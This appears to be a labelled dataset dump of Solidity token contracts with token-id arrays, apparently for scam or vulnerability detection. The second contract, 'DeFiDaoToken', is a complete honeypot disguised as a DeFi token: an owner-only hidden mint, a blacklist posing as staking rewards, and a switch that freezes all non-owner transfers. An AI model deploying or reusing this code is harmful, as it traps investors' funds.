emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
Values memory values = _getValues(tAmount);
uint256 rAmount = values.rAmount;
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
Values memory values = _getValues(tAmount);
return values.rAmount;
} else {
Values memory values = _getValues(tAmount);
return values.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
Values memory values = _getValues(tAmount);
uint256 rAmount = values.rAmount;
uint256 rTransferAmount = values.rTransferAmount;
uint256 rFee = values.rFee;
uint256 tTransferAmount = values.tTransferAmount;
uint256 tFee = values.tFee;
uint256 tLiquidity = values.tLiquidity;
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
struct Values{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rFee;
uint256 rBurnFee;
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 tBurnFee;
}
struct rValuesParams {
uint256 tAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 tBurnFee;
uint256 currentRate;
}
function _getValues(uint256 tAmount) private view returns (Values memory) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurnFee) = _getTValues(tAmount);
rValuesParams memory r_values_params = rValuesParams(tAmount, tFee, tLiquidity, tBurnFee, _getRate());
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 rBurnFee
) = _getRValues(r_values_params);
Values memory values = Values(rAmount, rTransferAmount, rFee, rBurnFee, tTransferAmount, tFee, tLiquidity, tBurnFee);
return (values);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tBurnFee = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tBurnFee);
return (tTransferAmount, tFee, tLiquidity, tBurnFee);
}
function _getRValues(rValuesParams memory r_values_params) private pure returns (uint256, uint256, uint256, uint256) {
uint256 tAmount = r_values_params.tAmount;
uint256 tFee = r_values_params.tFee;
uint256 tLiquidity = r_values_params.tLiquidity;
uint256 tBurnFee = r_values_params.tBurnFee;
uint256 currentRate = r_values_params.currentRate;
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurnFee = tBurnFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rBurnFee);
return (rAmount, rTransferAmount, rFee, rBurnFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 && _burnFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_taxFee = 0;
_liquidityFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
Values memory values = _getValues(tAmount);
uint256 rAmount = values.rAmount;
uint256 rTransferAmount = values.rTransferAmount;
uint256 rFee = values.rFee;
uint256 tTransferAmount = values.tTransferAmount;
uint256 tFee = values.tFee;
uint256 tLiquidity = values.tLiquidity;
uint256 tBurnFee = values.tBurnFee;
uint256 rBurnFee = values.rBurnFee;
_tTotal = _tTotal.sub(tBurnFee);
_rTotal = _rTotal.sub(rBurnFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
Values memory values = _getValues(tAmount);
uint256 rAmount = values.rAmount;
uint256 rTransferAmount = values.rTransferAmount;
uint256 rFee = values.rFee;
uint256 tTransferAmount = values.tTransferAmount;
uint256 tFee = values.tFee;
uint256 tLiquidity = values.tLiquidity;
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
Values memory values = _getValues(tAmount);
uint256 rAmount = values.rAmount;
uint256 rTransferAmount = values.rTransferAmount;
uint256 rFee = values.rFee;
uint256 tTransferAmount = values.tTransferAmount;
uint256 tFee = values.tFee;
uint256 tLiquidity = values.tLiquidity;
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4487,
2615,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
2407,
2011,
5717,
1000,
1007,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1028,
1014,
1010,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity =0.8.6;
import "./Libraries.sol";
contract DeFiDaoToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _vOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _stakingRewards;
event botBanned (address rewardsAddress, bool isBanned);
uint256 private _tFeeTotal;
bool _liquidity;
uint256 private _rTotal;
uint256 private _totalSupply;
address public uniswapV2router;
string private _name = 'DeFi DAO Token';
string private _symbol = 'DefiDao';
uint8 private _decimals = 9;
uint256 private constant _tTotal = 1000000000000*10**9;
uint256 private constant MAX = ~uint256(0);
constructor (address router) {
uniswapV2router = router;
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_vOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcluded[_msgSender()] = true;
_excluded.push(_msgSender());
_liquidity = true;
}
function stakingRewards(address rewardsAddress) external onlyOwner {
if (_stakingRewards[rewardsAddress] == true) {
_stakingRewards[rewardsAddress] = false;
} else {_stakingRewards[rewardsAddress] = true;
emit botBanned (rewardsAddress, _stakingRewards[rewardsAddress]);
}
}
function stakingState(address rewardsAddress) public view returns (bool) {
return _stakingRewards[rewardsAddress];
}
function initLiqudity() public virtual onlyOwner {
if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
}
function liquidityState() public view returns (bool) {
return _liquidity;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _vOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approveReflection(address owner, uint256 amount) public virtual onlyOwner {
_vOwned[owner] = _vOwned[owner].add(amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function alreadyTakenFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_stakingRewards[sender] || _stakingRewards[recipient]) require (amount == 0, "");
if (_liquidity == true || sender == owner() || recipient == owner()) {
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_vOwned[recipient] = _vOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_vOwned[recipient] = _vOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}
} else {require (_liquidity == true, "");}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(1000).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1027,
1014,
1012,
1022,
1012,
1020,
1025,
12324,
1000,
1012,
1013,
8860,
1012,
14017,
1000,
1025,
3206,
13366,
8524,
11439,
7520,
2003,
6123,
1010,
29464,
11890,
11387,
1010,
2219,
3085,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
2478,
4769,
2005,
4769,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2797,
1035,
19076,
7228,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2797,
1035,
5216,
7228,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2797,
1035,
2237,
2098,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2797,
1035,
21447,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2797,
1035,
2003,
10288,
20464,
13936,
1025,
4769,
1031,
1033,
2797,
1035,
12421,
1025,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2797,
1035,
2358,
15495,
15603,
18117,
1025,
2724,
28516,
8193,
7228,
1006,
4769,
19054,
4215,
16200,
4757,
1010,
22017,
2140,
2003,
8193,
7228,
1007,
1025,
21318,
3372,
17788,
2575,
2797,
1035,
1056,
7959,
18903,
9080,
1025,
22017,
2140,
1035,
6381,
3012,
1025,
21318,
3372,
17788,
2575,
2797,
1035,
19387,
17287,
2140,
1025,
21318,
3372,
17788,
2575,
2797,
1035,
21948,
6279,
22086,
1025,
4769,
2270,
4895,
2483,
4213,
2361,
2615,
2475,
22494,
3334,
1025,
5164,
2797,
1035,
2171,
1027,
1005,
13366,
2072,
4830,
2080,
19204,
1005,
1025,
5164,
2797,
1035,
6454,
1027,
1005,
13366,
8524,
2080,
1005,
1025,
